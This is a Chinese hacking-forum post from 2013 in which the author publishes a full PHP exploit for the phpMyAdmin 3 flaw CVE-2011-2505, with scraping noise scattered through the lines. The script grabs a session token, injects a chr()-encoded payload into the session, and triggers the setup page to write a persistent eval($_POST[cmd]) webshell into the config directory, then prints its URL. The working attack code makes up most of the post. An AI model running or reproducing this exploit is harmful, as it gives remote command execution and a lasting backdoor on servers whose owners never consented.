找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2155|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
! f- T! E- v+ |' J4 D. P5 C0 h/ J. M* O5 W. k: H' _& ]
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。  e4 F4 c' n; h, K
' |. v8 {1 M/ T$ [0 j3 z: u
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:: X- G& @) M5 h4 u5 B6 C
一是session.auto_start = 1;2 _" ?& O9 |$ p+ b
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
! V$ g- k# A6 {2 V* @当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
' g0 R" U1 J7 _" m6 j; }! n
, {, s4 t  A9 y$ r. U* J- _: V; [* k在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
% Z6 s/ q. ^! n" I, k: C% B$ E" n+ ~% ]% B6 ]
于是写了这个php版本的exp,代码如下:
& l* f' F* R' w6 U
/ q7 D: C7 Q9 ~8 c- }; r  D2 C#!/usr/bin/php
2 L5 D& K+ v" n" \% Z/ p<?php
. b3 |  _1 B  iprint_r('
3 i7 v: E& U9 T+---------------------------------------------------------------------------+$ W) Y+ t5 r, n$ I' q7 y, \
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]: p' F5 U# E' U4 V9 u& L2 A
by oldjun(www.oldjun.com)7 p- h; J9 L. Y* K" u) Z" _
welcome to www.t00ls.net3 `: y) B, S/ E2 i  H2 L9 |
mail: oldjun@gmail.com! G; m9 o+ a% }
Assigned CVE id: CVE-2011-2505
2 ]/ ~1 l+ h' z. i  |+---------------------------------------------------------------------------+/ t2 c8 l1 `5 X* |
');" @4 y/ J& p9 W* }
4 X- P6 W  g5 T
/**
! e6 j- F# x; B1 k * working when the directory:"config" exists and is writeable.
! i3 y$ x% H: Y' E% J" N7 e5 t**/6 f/ ~3 V& d7 X3 r$ ?' u' ?/ s
  a3 K" v4 r3 s5 }) N8 }
if ($argc < 3) {) j) m3 M0 s- ?/ F2 o; G3 @4 K
    print_r('
7 A6 w- ~/ B" ^1 w+---------------------------------------------------------------------------+$ N7 G& Y" B9 `0 q% E4 Z
Usage: php '.$argv[0].' host path0 u0 }( k' p/ R- U( P1 P9 ]
host:      target server (ip/hostname)  g; W1 q7 V. N# u
path:      path to pma39 ]! t. b! c3 F+ E
Example:  k3 |% ?7 h6 H8 L1 q
php '.$argv[0].' localhost /pma/0 d7 T# ~  F0 U8 C6 W
+---------------------------------------------------------------------------+# W9 [& q$ D6 H( S$ z1 r( _, g
');3 F9 W) i% h# a6 Y5 C
    exit;' @2 i+ j7 x# J/ g- `9 f
}- D9 O) U. r) `: |6 v; N

' a7 o/ L& T/ _5 V2 ~1 L  R; b" D# S$host = $argv[1];
) ?# z  x6 d% h* U- X  `$path = $argv[2];+ C5 O) L  j. ^: y' m& d( Z

- K# T, |( k8 r) I- e8 {! E/**
/ k/ u. i7 P! ?9 w * Try to determine if the directory:"config" exists7 O  b2 k, X: G+ N' t' T1 T" k
**/
5 W/ @8 F: X0 E# {/ {echo "[+] Try to determine if the directory:config exists....\n";$ ^2 _* ], f$ A& R2 r2 `) V
$returnstr=php_request('config/');) W. _1 j. b3 `
if(strpos($returnstr,'404')){4 e  V( R6 r; t
    exit("[-] Exploit Failed! The directory:config do not exists!\n");' a! ]/ J" \. Z8 ?
}
7 Y/ M% h0 x/ t0 j
! S9 U$ Q2 Z( L1 u( g. [& b% h; h/**9 Z  ^( c( W6 t9 ^" n
* Try to get token and sessionid# P$ y* d: Y1 [1 ], x2 U1 C) N
**/
- i7 b  @: r- g  k, r; l9 aecho "[+] Try to get token and sessionid....\n";- v7 u* L2 N$ L; Z) Y# r0 D
$result=php_request('index.php');
2 G3 u* _" L4 Z1 o: f& `preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
: v0 S$ d* [: I. e9 C! c6 D4 i$token=$resp[3];
. z" H- d9 I+ x% W3 ?( ]$sessionid=$resp[1];* r- K$ J4 U! b; ]6 B  D
if($token && $sessionid){
, ]0 a, q. ]$ F5 i) ~    echo "[+] tokentoken\n";
2 }1 R+ R: B: W6 c    echo "[+] Session IDsessionid\n";+ {/ U+ O  z( |' r6 ^
}else{' f9 G# r( h' J
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");& U% M" a! q8 b3 J1 ]
}, u$ ~8 ~2 D  ]. g6 I; Q# s! Y

& h" u- m, o9 N* h# m% Z/**
: ^" t5 X: T8 d1 T- i  | * Try to insert shell into session
4 R: Z; ^- `# y! l% d7 U# }5 c9 E**/! O. L  k% L' y% j$ p
echo "[+] Try to insert shell into session....\n";/ l+ Q+ h1 \  H9 X9 o
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
& d7 B. m) _/ E1 o) c
8 y7 D" m: ^/ d* A9 C/**; q2 S. |0 l* [, Y, q
* Try to create webshell' X. w/ }8 k* O  ]9 U
**/
+ `& J1 U. m1 f9 K& U: Decho "[+] Try to create webshell....\n";
  l! a; |2 C( V  O, r9 U# _+ g/ xphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
% Q# I+ I: f% b! B) n) p/**
4 v7 d( g5 b4 F9 K# p4 j! i2 f * Try to check if the webshell was created successfully
" S, v, t1 S7 D+ L**/! E* L% G/ c4 @# K5 f
echo "[+] Try to check if the webshell was created successfully....\n";
3 q: Q9 F9 t1 w$ W! S, S2 j  K$content=php_request('config/config.inc.php');/ U1 C8 V" ?6 C$ f
if(strpos($content,'t00ls')){
7 }! @8 ^' E9 h* s: H# c; Y+ f    echo "[+] Congratulations! Expoilt successfully....\n";8 h- N, T* L: W+ o2 x4 {
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
9 @9 N* H8 z& h  T' G}else{, E6 M/ B- l5 F! h/ p
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
9 I3 z4 V8 E  ~- Z; ?}9 w4 y% X1 V7 l5 @! O. U$ A

2 ^+ y3 U; Q* Xfunction php_request($url,$data='',$cookie=''){- P8 Y" z! x* B8 P
    global  $host, $path;  c$ r0 T2 r" w2 Q
   
) f+ l; ~& O* ]: J8 s7 ^* @    $method=$data?'POST':'GET';' W- ^% k$ W5 n5 W9 ]) p' b8 L8 m
   
! f9 Z5 }% z" H) k. d, z  R2 D; G    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
: i7 ]: m4 |5 Z5 @, k  E  Z* a    $packet .= "Accept: */*\r\n";% `! R* N6 b8 `3 ]
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
: i$ D$ z' T' X    $packet .= "Host: $host\r\n";( z3 R; @0 S3 b; I! n
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
8 Q/ k& V9 [3 Q/ `$ a    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";) \9 z. t, v% j: `3 H. o) ]4 w% V$ B
    $packet .= $cookie?"Cookie: $cookie\r\n":"";2 ~1 f2 x9 v  q0 p& E5 `* t
    $packet .= "Connection: Close\r\n\r\n";
) T, {( L! \$ ?8 ]8 ]    $packet .= $data?$data:"";+ b5 x9 n0 P: O: x7 m8 R: O# E
# l# ^: i  N1 U$ @3 ~
    $fp = fsockopen(gethostbyname($host), 80);
# P, u. U+ q3 j    if (!$fp) {, |, K0 d. l6 t" k' H2 j
    echo 'No response from '.$host; die;
3 v3 V' }) q8 y" }+ `1 S$ ^    }; y7 q, E  i3 i8 f$ \* Q
    fputs($fp, $packet);5 a( F0 p7 r1 d, Y( N
! `5 j5 c$ f' U2 J9 S& e$ M# G
    $resp = '';& f3 ]: r3 j& Z7 n
1 }# q7 A' O4 d" d0 P
    while ($fp && !feof($fp))
$ h1 |+ z& j) ]' {+ r        $resp .= fread($fp, 1024);
* l/ L/ V2 e: s* r) K2 t; U7 b2 i
( w! `+ v5 ^& \; g# H& |    return $resp;
. e2 Y$ E; {/ V' Z0 m}
  q. S, g& x% C* a: A   
) P  k. {& Y; u$ w# N3 }4 C  x3 r?> 9 }6 |: L' ]( l& S' S' `
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表